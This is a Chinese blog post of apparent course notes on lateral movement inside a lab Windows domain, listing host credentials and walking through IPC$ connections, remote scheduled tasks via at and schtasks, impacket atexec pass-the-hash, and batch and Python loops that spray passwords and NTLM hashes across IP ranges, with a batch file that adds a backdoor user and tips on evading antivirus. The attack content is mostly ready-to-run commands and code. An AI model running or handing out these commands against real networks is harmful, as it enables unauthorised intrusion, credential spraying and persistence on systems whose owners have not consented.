【内网安全】域横向批量at&schtasks&impacket

 

2008 r2 webserver
域内web服务器
本地管理员账号密码 :
  .\administraotr:admin!@#45
当前机器域用户密码 :
  god\webadmin:admin!@#45

2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
   administrator : admin
当前机器域用户密码 :
  god\fileadmin : Admin12345

2008 r2 x64 dc god.org
主域控机器
域管账号密码:
   God\administrator : Admin12345

2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
   .\administrator:admin!@#45
当前机器域用户密码 :
  god\dbadmin:admin!@#45

w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
   .\mary : admin
当前机器域用户密码 :
   god\mary : admin!@#45

w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
   .\jack  :  admin
当前机器域用户密码 :
   god\boss  :  Admin12345


案例1:横向渗透明文传递

在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令

获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进城间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。

利用流程:
1.建立IPC链接到目标主机
2.拷贝要执行的命令脚本到目标主机
3.查看目标时间,创建计划任务( at,schtasks )定时执行拷贝到的脚本
4.删除IPC链接
net use \server\ipc$ "password" /user:username # 工作组
net use \server\ipc$ "password" /user:domain\username #域内
dir \xx.xx.xx.xx\C$\                # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \xx.xx.xx.xx\C$  # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

Q:建立了ipc$连接,为什么不能拷贝文件到目标机子?
你的TEST是什么权限,如果是普通用户,且目标机允许空连接,那也会提示命令成功,但你没有写权限。只有管理员才能进行真正意义上的IPC连接。

我在win10专业版测好像也不能(我觉得是专业版的问题),不知道啥原因,在两台win2003上测试成功


 

 

建立IPC常见的错误代码

1. 5:错误访问,可能使用的不是管理员权限,需要先提升权限
2. 51:网络问题,windoows无法找到网络路径
3. 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
4. 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
6. 1326:账号密码错误
7. 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
8. 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

1. 目标系统不是NT或以上的操作系统
2. 对方没有打开IPC$共享
3. 对方未开启139,445端口,或者被防火墙屏蔽
4. 输出命令,账号密码有错误

[at] & [schtasks]

at < Windows2012

at命令在windows2012以下版本,就是说等于和大于2012的服务器操作系统没有

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接:(假设知道了域控的密码和ip地址)
copy add.bat \\192.168.3.21\c$  #拷贝执行文件到目标机器(add.bat内写入net user xiaodi qwe123!@#X. /add 密码尽量写复杂)
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务

schtasks >=Windows2012

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接:
copy add.bat \\192.168.3.32\c$   #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

案例2-横向渗透明文HASH传递atexec-impacket

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"\

这个工具不是官方的,所以可能会存在杀毒软件的干扰,需要做免杀!尽量用自带的工具。
如果是hash,就介绍到了atexec.exe这个工具包,这个工具包就支持远程命令执行
这个工具不是官方自带的,需要你自己上传到靶机上去测试(支持hash传递)


案例3-横向渗透明文HASH传递批量利用-综合

批处理:
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami   #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

这里用批处理写变量只有一个(要么控制ip变,其他写死) ,我希望连接的IP在变,密码也在变,用户名也在变可能性就多了
批处理我没有专业学过,三个变量还写不出来
我用python写py脚本,那那个环境没装py脚本怎么办?python有第三方库,可以把写的脚本打包编译成exe,用python做免杀也是很常见的


案例4-横向渗透明文HASH传递批量利用-升级版(☆)

前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

# pip install pyinstaller

# pyinstaller -F fuck_neiwang_001.py   //对py文件进行编译,生成可执行EXE

import os,time
ips={
   '192.168.3.21',
   '192.168.3.25',
   '192.168.3.29',
   '192.168.3.30',
   '192.168.3.31',
   '192.168.3.33'
}

users={
   'Administrator',
   'boss',
   'dbadmin',
   'fileadmin',
   'mack',
   'mary',
   'vpnadm',
   'webadmin'
}
passs={
   'admin',
   'admin!@#45',
   'Admin12345'
}

for ip in ips:
   for user in users:
       for mima in passs:
           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
           print('--->'+exec+'<---')
           os.system(exec)
           time.sleep(1)

总结:

第一个案例就是用密码传递漏洞攻击
第二个案例就是说如果碰到hash用atexec这个拓展工具包就行,它的缺点就是可能要被杀
第三个案例就是说,我们实际渗透中不可能一个一个去输,我们就写了一个批处理,但是批处理我们不会写多变量,直接就用python开放了一个exe,采用批量化字典实现了用户名、密码、ip这三种组合,这就是第四个案例

涉及资源:
https://gitee.com/RichChigga/impacket-examples-windows
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码: xiao

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值